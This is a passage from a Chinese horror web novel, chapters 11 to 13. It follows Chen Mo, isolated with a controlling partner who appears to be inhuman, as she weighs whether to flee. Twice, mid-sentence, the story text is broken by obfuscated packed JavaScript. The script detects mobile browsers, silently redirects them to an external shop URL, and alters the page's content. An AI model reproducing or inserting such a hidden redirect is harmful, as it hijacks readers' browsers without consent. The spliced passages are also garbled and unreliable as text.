那股味道——油油的，腻腻的，甜酸甜酸的，像肉放坏了。比以前更浓了。浓到她几乎要窒息。 “你……”她往后退了一步，后背撞在门框上，“你怎么在这儿？” “我一直在这儿。”他说。 他一直在这儿？ 她刚才开门的时候，明明没看见人。客厅是空的，卧室门关着，卫生间门开着，里面也没人。 他从哪儿出来的？ 王志强看着她，脸上带着笑。 那笑和平时一样，又不一样。嘴角弯的弧度对，眼睛眯的程度对——但就是不对。就像有人把一张照片上的笑脸剪下来，贴在他脸上。 “吃饭吧。”他说。 他转身走回客厅，坐到饭桌前。 陈默站着没动。 他抬头看她。 “怎么？不饿？” 那个声音，也是对的。音调对，语气对，每个字都对。 但她听着，后背一阵发凉。 因为那个声音，不像是从他嘴里发出来的。 像是从别的地方传过来的，借他的嘴放出来。 陈默走过去，坐下。 拿起筷子，夹了一口饭，放进嘴里。 嚼。 什么味道都没有。 她又夹了一筷子菜。 也没有味道。 所有的菜，都没有味道。 就像她吃的不是食物，是空气，是影子，是别的东西假装成的食物。 她放下筷子，看着他。 他正吃着，动作和平时一样。夹菜，扒饭，嚼，咽下去。 但这一次，她看清楚了。 他嚼的时候，嘴巴不动。 不是“不怎么动”，是完全不动。 嘴唇闭着，脸颊不动，只有喉咙在动——一下，一下，把东西咽下去。 就像他嘴里没有牙齿，没有舌头，什么都没有。 只是一个洞。 一个能把东西吞进去的洞。 “怎么不吃了？”他问。 他看着她。那两只眼睛，在中午的光线里，有一点发亮。 不是反光。 是发光。 陈默摇摇头。 “不饿。” 他看了她一眼。 那一眼，很长。 长得像过了一分钟。 然后他继续吃。 一口，一口，一口。 把那四个菜，两碗饭，全吃完了。 吃完之后，他放下筷子，看着她。 “你不吃，会饿的。” 陈默没说话。 他站起来，开始收碗。 “你坐着，我来。” 他端着碗进厨房，开始洗碗。 陈默坐在沙发上，听着厨房里的水声。 水哗哗响着，碗碰在一起，叮叮当当的。 和昨晚一样。 但今天，她突然注意到一个细节。 那个水声——只有水冲在碗上的声音，没有别的。 没有他洗手的声音。 没有他碰到水槽的声音。 没有水从他手上滴下来的声音。 只有水，和碗。 她站起来，走到厨房门口。 他站在水槽前，背对着她，正在冲碗。 她看着他的手。 他的手在水里，但他没湿。 水从他手上流过，流下去，流进下水道。但他的手上没有水珠，没有湿过的痕迹，没有半点水的影子。 就像水根本碰不到他。 就像他身上有一层看不见的东西，把水和人隔开了。 就像他是用塑料做的，用蜡做的，用别的东西做的。 陈默盯着那双手，看了很久。 那双手，她牵过。 那双手，摸过她的脸。 那双手，每天晚上躺在她的旁边。 但那双手，从来没湿过。 三年了，从来没湿过。 她退后一步。 然后她转身，走回客厅，坐下。 脑子里反复响起规则第四条。 真正的他，从不洗澡。 从不洗澡。 不是不爱洗。 是不能洗。 水碰不到他。 水是活的，他是死的。 四 下午陈默没去上班。 她给周行长发了微信，说家里有事，请半天假。 周行长回了一个字： “好。” 她躺在卧室床上，盯着天花板。 王志强在客厅里，不知道在干什么。偶尔有脚步声，偶尔有电视声，偶尔有东西放下的声音。 她听着那些声音，一动不动。 但那些声音，听着听着，开始不对了。 脚步声——走几步，停一下，又走几步，又停一下。但停的那一下，正好在她呼吸的间隙。就像他在配合她的呼吸。 电视声——换台，换台，换台，一直换。但换台的间隔，一模一样。三秒，三秒，三秒。像一个精准的计时器。 东西放下的声音——咚，咚，咚。每一下都砸在她的心跳上。心跳一下，咚一声。心跳一下，咚一声。 她捂住耳朵。 但那些声音，还是能听见。 不是从外面传进来的。 是从脑子里响起来的。 她睁开眼，盯着天花板。 天花板是白的。但她盯着盯着，那白色开始动。 不是真的动，是眼睛花了。但那个动的样子，像有什么东西在天花板上爬。 她闭上眼。 但闭上眼之后，黑暗里也有东西。 她看见那双眼睛。 那双发光的眼睛。 就在她面前。 她猛地睁开眼。 什么都没有。 只有天花板，白的。 她坐起来，大口喘气。 王志强站在卧室门口。 他什么时候来的？ 她没听见脚步声。 他就站在那儿，看着她。 那两只眼睛，在下午的光线里，发着光。 “怎么了？”他问。 陈默摇摇头。 “没事。” 他看着她，看了几秒。 然后他走进来，走到床边，坐下。 床垫陷下去，她的身体跟着歪了一下。 他伸出手，放在她脸上。 凉的。 比刚才更凉了。 比昨晚更凉了。 比任何时候都凉。 像刚从冰柜里拿出来的东西。 那只手在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。 像在摸一件东西。 像在检查一件东西有没有坏。 “快了。”他说。 快了。 什么快了？ 她不知道。 但她不敢问。 他的手从她脸上移开，放在她肩膀上。 那只手，很沉。 沉得像压了一块石头。 “今晚，”他说，“我有个朋友来。” 陈默看着他。 “你见见他。” 她还是看着他。 他看着她，脸上带着那个笑。 那个贴上去的笑。 “你今晚，别说话了。” 他说这句话的时候，声音很轻。 轻得像一片纸落在地上。 但每一个字，都砸在她心上。 “不管我说什么，”他说，“你都别说话。” 她没说话。 他看着她。 “听见了吗？” 她点点头。 他笑了。 那笑容很短，就一下。 但那一下，她看见他的嘴张开的时候——里面是黑的。 不是舌头，不是牙齿，是黑的。 什么都没有的一片黑。 然后他站起来，走出去。 门关上了。 陈默躺在床上，盯着天花板。 她刚才看见什么了？ 她看见了吗？ 还是幻觉？ 她不知道。 但她不敢闭眼了。 五 晚上七点，门铃响了。 陈默坐在沙发上，王志强去开门。 进来的是一个男人，四十多岁，胖，光头，穿着花衬衫。和陈默见过的那些朋友差不多——满身江湖气，一开口就带着脏话。 “强哥！” “老马！进来进来！” 两人在门口拥抱了一下，走进客厅。 老马看见陈默，愣了一下。 “哟，嫂子在家啊？” 王志强点点头。 “对，今天让她也见见你。” 老马笑着走过来，伸出手。 “嫂子好，我叫马建国，跟强哥认识二十多年了。” 陈默站起来，跟他握了握手。 “你好。” 老马的手，是温的。 正常的温度。 陈默愣了一下。 她已经很久没摸过正常温度的手了。 老马坐下，王志强也坐下。 陈默坐在旁边，不知道该怎么办。 “倒茶。”王志强说。 她站起来，去倒茶。 茶端上来，放到茶几上。 老马喝了一口，看看陈默，又看看王志强。 “强哥，嫂子挺文静的。” 王志强笑了一下。 “嗯，文静好，不吵不闹。” 老马点点头。 “那是，男人回家就想清净，谁想听女人叨叨？” 两人笑起来。 陈默坐在旁边，一言不发。 但她看着老马，总觉得有什么不对。 不是老马不对。 是王志强不对。 他笑的时候，嘴张开的幅度，和平时一样。但她看见里面——还是黑的。 不是舌头，不是牙齿，是黑的。 一片黑。 她移开目光，盯着茶几。 茶几上放着茶壶，茶杯，还有一盘瓜子。很正常的待客摆设。 但那个茶壶里的水，她倒的时候是烫的。 现在应该还冒着热气。 但王志强面前那杯茶，没有热气。 一点都没有。 就像一杯冷水。 她没敢抬头。 老马在说话，说工程的事，说钱的事，说人的事。王志强在听，偶尔应一声，偶尔笑一下。 那些笑声，从那个黑洞里出来，落在空气里，像什么东西在腐烂时发出的声音。 陈默攥紧手指。 指甲掐进肉里，疼。 但她不敢动。 六 老马待了一个多小时，走了。 陈默送他到门口，他回头看了她一眼。 那一眼，有点长。 “嫂子，保重。” 陈默愣了一下。 保重？ 他说保重？ 但没等她问，他已经转身走了。 他走得很快，几乎是跑着下楼的。皮鞋踩在楼梯上，咚咚咚，越来越远，然后消失了。 陈默站在门口，看着那个方向。 老马在怕什么？ 他看见什么了？ 她不知道。 但她知道，她不想知道。 她关上门，回到客厅。 王志强坐在沙发上，看着她。 “他走了？” “嗯。” “过来坐。” 她走过去，坐下。 他看着她，脸上带着那个笑。 那个贴上去的笑。 “你今天表现不错。” 陈默没说话。 “没说话，很好。” 他还是笑着。 但那个笑，让她后背发凉。 她看见他的嘴张开的时候，里面还是黑的。 现在不是一片黑了。 是有什么东西，在动。 在黑暗里动。 她移开目光。 但他伸出手，把她的脸扳过来。 那只手，凉得像冰。 “看着我。”他说。 她看着他的眼睛。 那两只发光的眼睛。 “你知道，”他说，“我等这一天等了多久吗？” 她没说话。 “三年。”他说，“三年了。” 三年。 他等什么等了三年？ “你刚来的时候，”他说，“身上什么都没有。” 什么都没有？ 什么意思？ “没有味道。”他说，“没有人味。” 人味。 他说过这个词。 那天晚上，他说她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387623|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人味了。 “现在有了。”他说，“有了就好。” 他的手还扳着她的脸。 不，不是手。 是别的。 那个形状像手，但摸起来，不对。 不是皮肤，不是肉，是别的。 像一层皮，包着什么。 她不敢想。 他站起来。 “今晚，你睡沙发。” 他走进卧室，关上门。 陈默坐在沙发上，一动不动。 过了很久，她才敢动。 她低头看自己的脸。 刚才被他摸过的地方，还留着那个凉。 那个凉，像渗进去了。 她伸手摸了摸。 凉的。 她的脸，也是凉的。 七 那一夜，陈默在沙发上坐了一夜。 她不敢躺下。 因为那个印子就在她旁边。 那个印子，已经不是一个印子了。 是一个坑。 一个深深的坑，像有什么东西在里面躺了很久，把沙发垫躺穿了，躺出一个洞。 那个洞里，往外冒着气。 就是那个味道。 油油的，腻腻的，甜酸甜酸的。 她坐在沙发的另一头，缩成一团，盯着那个坑。 坑里的黑暗，不是普通的黑。 是会动的黑。 像有什么东西在里面蠕动。 她盯着那个蠕动，盯了一夜。 天亮的时候，那个坑变浅了一点。 不是恢复，是缩回去了。 像有什么东西，在天亮之前，缩回去了。 陈默站起来，走到卧室门口。 门关着。 她把耳朵贴上去，听。 里面没有声音。 没有呼吸声。 什么都没有。 她推开门。 床上是空的。 被子叠得整整齐齐，枕头放得端端正正。 没有人。 但床单上，有一个印子。 一个人形的印子。 深深的，陷进去的。 和沙发上的印子一样。 她站在门口，看着那个印子。 然后她闻到那个味道了。 从床上散发出来。 从那个人形里散发出来。 更浓了。 浓到她几乎站不住。 她退出来，关上门。 走进卫生间，打开水龙头。 水哗哗流着。 她把手伸进去。 凉的。 水是凉的。 但她不在乎。 她把手放在水里，看着水流过她的手。 她的手，是正常的。 有皱纹，有毛孔，有温度。 她的手，还是她的手。 她捧起一捧水，扑在脸上。 凉的。 但那个凉，让她清醒了一点。 她抬起头，看镜子。 镜子里的那个人，她不认识了。 眼袋黑得像两个洞，脸色灰白，嘴唇发紫。下巴上的痘，已经连成一片，红红的，肿肿的，像要烂了。 但最可怕的是眼睛。 那两只眼睛，在看着她。 但不是她平时看自己的那种看。 是别的。 像另一个人，藏在镜子里，透过她的眼睛，在看她。 她盯着那双眼睛。 那双眼睛也盯着她。 她眨了一下眼。 那双眼睛没眨。 她往后退了一步。 那双眼睛没动。 就那样看着她。 她转身跑出卫生间。 靠在墙上，大口喘气。 客厅里，那个坑还在。 那个味道还在。 那个凉，还在她脸上。 八 陈默没去上班。 她给周行长发微信，说身体不舒服，请假一天。 周行长没回。 她把手机放下，坐在沙发上，盯着那个坑。 不知道过了多久，卧室门开了。 王志强走出来。 他从哪出来的？ 她明明看过，床上没人。 但他就是从卧室走出来的。 穿着那件睡衣，脸上带着那个笑。 “早。”他说。 陈默没说话。 他走到她面前，低头看着她。 那两只眼睛，在早上的光线里，发着光。 “你今天，”他说，“别出门了。” 陈默攥紧手指。 “就在家待着。” 她看着他。 “等我晚上回来。” 他转身，走进卫生间。 门关上了。 陈默坐在沙发上，听着卫生间里的动静。 没有水声。 什么都没有。 过了几分钟，门开了。 他走出来，换了衣服，拿起车钥匙。 走到门口，他回头看了她一眼。 那一眼，很长。 “别出门。”他说。 门关上了。 陈默坐着，一动不动。 她听见他的脚步声在走廊里远去，听见电梯门打开又关上，听见一切归于寂静。 她站起来，走到窗边，往下看。 他的车从地下车库开出来，驶上马路，消失在车流里。 她站在窗边，看了很久。 然后她转身，看着这个家。 沙发上的坑。 卧室里的人形。 空气里的味道。 她突然想起一件事。 那张纸条的第五条。 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。 她没见过陪酒女。 但那条规则，说的是“跑”。 不是“等”，不是“忍”，不是“数到三十”。 是“跑”。 她站在客厅中央，看着那扇门。 门关着。 钥匙在桌上。 她可以跑。 现在就跑。 趁他不在，跑。 她往前走了一步。 又停住了。 跑？ 跑哪儿去？ 回妈妈那儿？妈妈不要她了。 去朋友那儿？早就没朋友了。 住酒店？那点存款，够住几天？ 跑了之后呢？ 他能找到她吗？ 那两只发光的眼睛，能在黑暗里看见她吗？ 她不知道。 但她知道，如果跑不掉，被抓回来，会发生什么。 她看着沙发上的那个坑。 那个坑，是给他躺的。 她躺上去，会变成什么样？ 她不知道。 但她知道，她不想知道。 她走到门口，拿起钥匙。 手放在门把手上。 凉。 门把手是凉的。 她深吸一口气，拧开。 门开了。 走廊空无一人。 声控灯亮了一下，又灭了。 她站在门口，看着那片黑暗。 然后她听见一个声音。 从身后传来。 “你去哪儿？” 她慢慢转过头。 王志强站在客厅里。 他不知道什么时候回来的。 从哪回来的？ 门一直开着，她没看见他进来。 但他就在那儿。 站在沙发旁边，看着她。 那两只眼睛，发着光。 “我问你，”他说，“你去哪儿？” 陈默攥紧钥匙。 钥匙扎进肉里，疼。 但她不敢动。 他走过来。 一步一步。 每一步，都踩在她的心跳上。 走到她面前，停下来。 低头看着她。 那两只发光的眼睛，离她不到十厘米。 她看见他眼睛里的东西。 不是眼珠，不是瞳孔。 是别的。 是黑暗。 是无尽的黑暗。 “你想跑？”他问。 她没说话。 他伸出手，放在她肩膀上。 那只手，凉得像冰。 沉得像石头。 “你跑不掉的。”他说。 他笑了。 那个笑，从那个黑洞里出来。 “你忘了，”他说，“你是我养的。” 养的。 像养一只鸡，一头猪。 养肥了，就可以吃了。 陈默闭上眼。 脑子里只有一个数字在转。 三十。 二十九。 二十八。 --- 第十一章完 12. 第十二章 他不在的夜晚 第十二章他不在的夜晚 一 陈默睁开眼的时候，天已经黑了。 她不知道自己什么时候睡着的，也不知道睡了多久。只记得王志强最后看她的那个眼神——那两只发光的眼睛，盯着她，然后他转身走了。 走了。 门关上的声音，她还记得。 然后她就瘫在门口的地上，靠着墙，不知道坐了多久。后来大概是睡着了。 现在她睁开眼，客厅里一片漆黑。 窗帘拉得严严实实，一点光都透不进来。她伸手摸手机，按亮屏幕，看了一眼时间。 晚上八点四十七分。 她睡了整整一天？ 不对。 她看了一眼日期。 还是同一天。 那就是从下午睡到了晚上。 她撑着地站起来，腿麻得站不稳，扶着墙等了好一会儿，血液才重新流过去。 客厅里很安静。 太安静了。 平时这个时候，总有电视声，总有脚步声，总有那个呼吸声。 但现在什么都没有。 她想起王志强走的时候说的话。 “我晚上不回来了。” 她当时没反应。他说这句话的时候，已经走到门口了，回头看了她一眼，说了这六个字，然后门关上了。 不回来了。 今晚不回来了。 陈默站在黑暗里，慢慢消化着这几个字。 今晚，他不在。 这个念头一出现，她整个人像被什么东西击中了一样——先是愣住，然后是一阵说不清的感觉从心底涌上来。 是害怕吗？不是。 是高兴吗？也不是。 是一种……空。 像一直被什么东西压着，现在那个东西突然移开了，她反而站不稳了。 她扶着墙，慢慢走到沙发边，坐下。 那个坑还在。 黑暗中她看不见，但她能感觉到。一坐下，身体就陷进去一块，往那个坑的方向歪。 她赶紧站起来，走到另一边坐下。 坐着，听着自己的呼吸。 他不在。 今晚，他不在。 二 不知道坐了多久，陈默站起来，打开了灯。 灯光亮起来的那一刻，她眯了眯眼。太久没开灯了，眼睛不适应。 她站在客厅中央，看着这个家。 沙发上的坑，比早上更深了。边缘已经塌下去，像有什么东西把沙发垫压穿了。 茶几上还放着昨天的茶杯，茶早就凉了，水面上飘着一层灰。 地上有几件衣服，不知道是他扔的还是她掉的。 空气里那股味道，还在。 但比他在的时候淡了一点。 也许是她的错觉。 她走进卧室。 床上的那个人形印子，也更深了。整个床垫都陷下去一块，像一个巨大的手掌在上面按了一下，按出一个坑。 她站在床边，看着那个坑。 她想起那天晚上，她躺在旁边，他伸手摸她的脸。 那只手，凉的。 她想起那天早上，她起来的时候，他已经坐在客厅了。 她没听见他起床的声音。 她没听见任何声音。 她转身走出卧室，走进卫生间。 镜子里的自己，还是那个人。 眼袋，痘，灰白的脸色。 但好像没那么可怕了。 也许是因为他在不在。 她打开水龙头，洗了把脸。 水是凉的，激得她精神一振。 她抬起头，看着镜子里的自己。 那双眼睛，还是她的。 没有发光。 她盯着那双眼睛看了很久。 然后她关掉灯，走出卫生间。 三 陈默在客厅里站了一会儿，不知道该干什么。 三年了，她从来没有一个人在这个家里待过。 王志强总是不在。但她一个人在家的时候，知道他随时会回来。知道他可能在路上，可能在楼下，可能在任何一个下一秒推门进来。 所以她从来不算真正的一个人。 但今晚，他说不回来了。 今晚，他是真的不在。 她不知道该怎么面对这个“不在”。 她走到厨房，打开冰箱。 冰箱里空空的，只有几个鸡蛋，半棵白菜，还有那盒过期的牛奶。她盯着那盒牛奶，想起昨天那桌菜——那些菜是哪来的？他买的？还是…… 她没往下想。 关上冰箱，走到客厅，拿起手机。 手机上有几条微信，工作群的，她懒得看。还有一条是老张发的，问她明天能不能换班。她回了个“好”。 然后她翻到妈妈的对话框。 最后一条消息还是两个月前的。 她妈说：你什么时候回来一趟？ 她没回。 她盯着那个对话框，盯了很久。 然后她把手机放下。 她不知道该跟妈妈说什么。 说妈，我男朋友可能不是人？ 说妈，他从来不洗澡，他摸我的时候手是凉的，他眼睛会发光，他说我熟了？ 她妈会信吗？ 不会。 她妈只会说：我早就告诉过你，你活该。 她把手机扣在沙发上，站起来。 走到窗边，拉开一点窗帘，往外看。 外面是城市的夜晚，万家灯火，车流不息。对面那栋楼，很多窗户亮着灯，有人在走动，有人在做饭，有人在看电视。 很正常的世界。 她的世界，已经不正常了。 四 陈默在窗边站了很久。 然后她做了一个决定。 她要看看这个家。 真正地看看。 他不在的时候，这个家是什么样的。 她先从客厅开始。 茶几上那杯茶，她端起来闻了闻。 没味道。 就是普通的隔夜茶，带点茶垢的涩味。 她把茶倒了，把杯子洗了，放回原位。 然后是地上的衣服。 两件是他的，一件是她的。她把他的捡起来，凑到鼻子前闻了闻。 那股味道。 比空气里浓得多。 像是从衣服里渗出来的，洗都洗不掉的味道。 她把他的衣服扔进洗衣机，倒上洗衣液，按了启动键。 洗衣机开始转动，水哗哗响着。 她站在洗衣机前，看着里面的衣服在翻滚。 水是清的。 衣服在里面转，水慢慢变浑。 但那个味道，还在。 洗不掉。 她关上洗衣机盖子，转身走开。 然后是沙发。 她走到沙发前，蹲下来，看着那个坑。 坑的边缘，是塌陷下去的。她伸手摸了摸——湿的。 不是水的那种湿。 是黏的。 像有什么东西从里面往外渗。 她把手收回来，凑到鼻子前闻。 就是那个味道。 她站起来，退后一步。 然后她做了一个更大胆的决定。 她把沙发垫掀开了。 五 沙发垫下面，是沙发底座。 木头的，钉着一层布。 但那层布上，有一块黑。 不是普通的黑，是那种浸透了的黑，像有什么液体从上面渗下来，渗进布里，渗进木头里。 陈默盯着那块黑，看了很久。 然后她伸手，碰了碰。 湿的。 黏的。 凉的。 她把手指收回来，借着灯光看。 手指上沾了一点东西，黑黑的，黏黏的，像油，又不像油。 她凑近闻。 那个味道。 浓得她差点吐出来。 她赶紧在衣服上擦掉，把沙发垫盖回去。 站在那儿，大口喘气。 那个黑东西，是什么？ 是他躺出来的吗？ 他躺了三年，躺出这么个东西？ 她不知道。 但她知道，她不敢再看了。 六 陈默走进卧室。 床上那个人形印子，她也要看看。 她走到床边，掀开被子。 床单上，有一个人形的轮廓。 不是脏，是压出来的印子。但那个印子，太深了。深到床单都陷进去了，深到下面的床垫都陷进去了。 她伸手摸了摸那个人形。 从头部开始。 头的地方，是空的。就是压出来的一个坑，没什么特别。 但往下摸，到胸口的时候，她的手停住了。 那里，有一块硬的东西。 不是床垫的那种软，是硬的，像有什么东西藏在床垫里面。 她按了按。 那块硬的，会动。 不是她在动它，是它自己在动。 像心跳。 一下，一下，一下。 陈默的手僵在那儿。 那个东西，在她手底下，一下一下地动。 像一颗心脏。 藏在床垫里的心脏。 她猛地缩回手，退后几步，撞在衣柜上。 床单还掀着，那个人形印子还在。 但她不敢再碰了。 她盯着那个地方，盯了很久。 那个地方，还在动。 一下，一下，一下。 很慢，很规律，像一个人的心跳。 但那个人，不在床上。 那个人，不在家。 那个心跳，是谁的？ 七 陈默退出卧室，关上房门。 她站在客厅里，浑身发抖。 这个家，不是她的家。 是一个什么东西住的地方。 她在这里住了三年，睡在那个东西旁边，吃那个东西做的饭，让那个东西摸她的脸。 三年。 她突然想吐。 她冲进卫生间，趴在马桶上，干呕。 什么都吐不出来。 她已经很久没好好吃饭了。 她跪在那儿，抱着马桶，大口喘气。 镜子里，她看见自己的脸。 灰白，浮肿，眼睛下面两个黑洞。 那个人，是她吗？ 还是她也快变成那样了？ 她站起来，走到洗手池前，打开水龙头，拼命洗脸。 水很凉，冲在脸上，有点疼。 她洗了一遍，又洗了一遍，又洗了一遍。 直到脸被洗得发红，她才停下来。 抬起头，看镜子。 镜子里那个人，也在看她。 但这一次，那个人的眼睛，眨了一下。 她没眨。 陈默盯着镜子里的自己。 那个人也盯着她。 她慢慢抬起手，摸了摸自己的脸。 镜子里的那个人，也抬起手，摸了摸脸。 动作一样。 但那个人的嘴，在笑。 她没笑。 陈默猛地后退一步。 镜子里的那个人，还在笑。 那个笑，和王志强那个笑一样——贴上去的，不动的，不属于那张脸的。 她转身跑出卫生间。 八 陈默坐在沙发上，蜷成一团，抱着膝盖。 她不敢再去任何地方了。 客厅里很安静。只有洗衣机还在转，嗡嗡嗡的，像一只巨大的虫子在叫。 她听着那个嗡嗡声，慢慢冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387624|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静下来。 他不在。 今晚他不在。 这是她唯一的机会。 她不知道这个机会意味着什么，但她知道，她必须做点什么。 她站起来，走到门口，拿起钥匙。 她要出去。 离开这个家。 哪怕只离开一会儿。 她拧开门，走出去。 走廊里空无一人。声控灯亮了，又灭了。 她站在门口，回头看了一眼这个家。 门开着，里面亮着灯。沙发上的坑，茶几上的灰，空气里的味道。 她看了三秒。 然后她关上门，转身走向电梯。 九 电梯下行的时候，陈默靠在电梯壁上，闭着眼。 电梯里只有她一个人。灯很亮，照得她睁不开眼。 但她觉得安全。 这个小小的铁盒子，是他不在的地方。 一楼到了。 门开了。 她走出去。 小区里很安静，路灯亮着，树影摇着。有人在遛狗，有小孩在跑，有老人在下棋。 很正常的世界。 陈默站在那儿，看着那些人。 他们不知道她是谁。 他们不知道她刚从什么地方出来。 她突然想哭。 但她忍住了。 她往前走，走出小区，走到街上。 街上还有很多人。夜宵摊子冒着热气，烧烤的香味飘过来。有人在喝酒，有人在笑，有人在吵架。 她走在人群里，没有人看她。 她就是一个普通的女人，二十八岁，穿着普通的衣服，走在普通的街上。 没有人知道她经历过什么。 她走着走着，走到一个便利店门口。 她走进去。 便利店很小，只有一个店员在收银台后面看手机。货架上摆着各种东西，吃的，喝的，日用品。 她拿了一瓶水，一包饼干，走到收银台前。 店员抬头看了她一眼，低头扫码。 “六块五。” 她付了钱，拿着东西走出便利店。 站在门口，她拧开水，喝了一口。 水是凉的，甜的。 她很久没喝过这么甜的水了。 她又喝了一口。 然后她看见对面的马路。 马路对面，是一个小区。 妈妈住的小区。 她站在那儿，看着那个小区。 妈妈就在里面。 走进去，坐电梯，到七楼，敲门，就能见到妈妈。 但她没动。 她看着那个小区，看了很久。 然后她转身，往回走。 十 回到楼下的时候，陈默站住了。 她抬头看七楼的窗户。 黑的。 他没回来。 她松了一口气，走进去，坐电梯，上楼。 站在家门口，她掏出钥匙。 但她没马上开门。 她想起规则第一条。 数到三十，再开门。 他不在，但她还是开始数。 一、二、三…… 数到三十。 她打开门。 屋里还是那样。灯亮着，沙发上的坑还在，空气里的味道还在。 但他在吗？ 她不知道。 她走进去，关上门。 先看客厅。 没人。 再看卧室。 没人。 再看卫生间。 没人。 厨房，阳台，衣柜后面——都没人。 他真的不在。 陈默站在客厅中央，慢慢放松下来。 但就在这时，她听见一个声音。 从沙发那边传来的。 咚。 咚。 咚。 她慢慢转过头，看向沙发。 那个坑里，有什么东西在动。 不是蠕动，是心跳的那种动。 一下，一下，一下。 和床垫里那个心跳，一样的节奏。 陈默盯着那个坑，一步一步往后退。 咚。 咚。 咚。 那个心跳，越来越响。 她退到门口，手摸到门把手。 她拧开门，冲出去。 门在身后关上。 她站在走廊里，大口喘气。 那个心跳声，还在耳边响。 咚。 咚。 咚。 她知道，那不是心跳。 那是别的东西。 那是他留下的东西。 那是三年躺出来的东西。 那是——他的一部分。 十一 那一夜，陈默在走廊里坐了一夜。 她不敢再进去。 她靠着墙，缩成一团，盯着那扇门。 门关着。 里面的灯还亮着。 那个心跳声，她听不见了。 但她知道，它还在。 一直在。 天亮的时候，她站起来。 腿麻了，站不稳。她扶着墙等了一会儿，然后掏出手机，看了一眼时间。 早上六点二十。 她深吸一口气，掏出钥匙，开门。 门开了。 客厅里，那个坑还在。 但那个心跳声，没了。 她站在门口，看了很久。 然后她走进去。 沙发上，那个坑，浅了一点。 她不知道这意味着什么。 但她知道，他快回来了。 她必须在他回来之前，决定一件事。 跑，还是不跑。 --- 第十二章完 13. 第十三章 无处可去 第十三章无处可去 一 陈默站在客厅中央，看着那扇门。 门关着。 她站了很久。 然后她走到沙发前，坐下。 那个坑还在，但浅了一点。她坐在沙发的另一头，尽量离那个坑远一点。 手机握在手里，屏幕黑着。 她盯着那团黑，脑子里反复响着一个问题： 跑，还是不跑？ 她站起来，走到窗边，拉开窗帘。 外面是城市的早晨，太阳刚升起来，把对面楼的玻璃窗照成金色。有人在阳台上晾衣服，有小孩背着书包去上学，有老人在小区里散步。 很正常的世界。 她看着那些人，看了很久。 然后她转身，看着这个家。 沙发上的坑，茶几上的灰，空气里那股淡淡的、油油的、腻腻的味道。 她在这个家里住了三年。 三年。 她想起刚搬来那天。那时候她二十五岁，拖着行李箱站在门口，王志强帮她开门，笑着说“以后这儿就是你家”。 那时候她觉得，终于有地方去了。 妈妈不要她了，她还有他。 现在呢？ 她还有谁？ 她掏出手机，打开通讯录。 从上往下翻。 第一个是“妈妈”。最后一条消息两个月前，她没回。 第二个是“爸爸”。爸爸很少发消息，偶尔发也是转发的养生文章。 第三个是“周行长”。工作关系。 第四个是“老张”。同事。 第五个是“王志强”。 再往下翻，还有几十个名字。但那些名字，她已经很久没联系过了。有的甚至想不起来是谁。 她盯着那些名字，盯了很久。 然后把手机放下。 她能去哪儿？ 回妈妈那儿？ 妈妈说了，当她死了。 她能想象那个画面——她拖着行李箱站在门口，妈妈开门，看见她，脸上什么表情都没有。然后妈妈说：“回来了？还知道回来？” 她能承受那个吗？ 她不知道。 去朋友那儿？ 她没有朋友了。 三年了，王志强不喜欢她和以前的朋友来往。一开始是“那个谁谁谁不行，别跟她玩了”，后来是“你那些朋友有什么用，能帮你什么”，再后来她就不联系了。 最后一次联系，是去年春节。她给一个老同学发微信拜年，对方回了四个字：“新年快乐。” 然后就没了。 她有什么资格去找人家？ 住酒店？ 她算过存款。不到两万块。住快捷酒店，一天两百，一个月就是六千。不到三个月，她就得睡大街。 租房？ 押一付三，最少也要七八千。租完就剩一万多，然后呢？吃饭呢？交通呢？她那份工资，够干什么？ 她算过无数次了。 每一次算完，答案都一样。 没地方去。 二 陈默在窗边站了很久。 然后她放下窗帘，走回沙发，坐下。 手机又亮了。 工作群的消息。 她点开看了一眼。 周行长在@所有人：今天外拓，九点集合，不得请假。 她盯着那行字，看了几秒。 外拓。 商场门口，站六个小时，发传单，拉人办信用卡。 她以前最讨厌这个。 但现在看着，突然觉得有点亲切。 至少那是正常的。 至少那些事是她会的。 她站起来，走进卫生间，洗漱，换衣服，化妆。 镜子里的自己，还是那个人。 眼袋，痘，灰白的脸色。 但她今天没时间多看。 她得去上班。 三 外拓站在商场门口，太阳很大。 陈默穿着行服，站在太阳底下，手里拿着一沓传单。路过的人，她递一张，说一句“办信用卡吗”，大多数人不接，直接走过去。 她就这样站着，站了三个小时。 脚已经肿了，小腿酸疼。后背的汗把衬衫浸湿了，黏黏的贴着肉。 但她没动。 就这么站着。 老张在旁边抽烟，看她一眼。 “陈默，你休息会儿，我来发。” 陈默摇摇头。 “没事。” 老张没再说什么。 又站了一个小时。 中午休息的时候，陈默坐在商场门口的花坛边，吃着盒饭。 盒饭是统一订的，两荤一素，味道一般。但她吃着，觉得还行。 至少是热的。 至少是人吃的。 老张坐过来，跟她并排坐着。 “陈默，你最近是不是有什么事？” 陈默愣了一下。 “什么？” “我看你最近状态不对。”老张看着她，“脸色也不好，话也少了。是不是家里出什么事了？” 陈默低下头，继续吃饭。 “没有。” 老张看了她一会儿，没再问。 吃完饭，下午继续站。 站到五点半，收工。 陈默坐地铁回家。 站在家门口的时候，她又停住了。 深吸一口气，掏出钥匙，开门。 屋里没人。 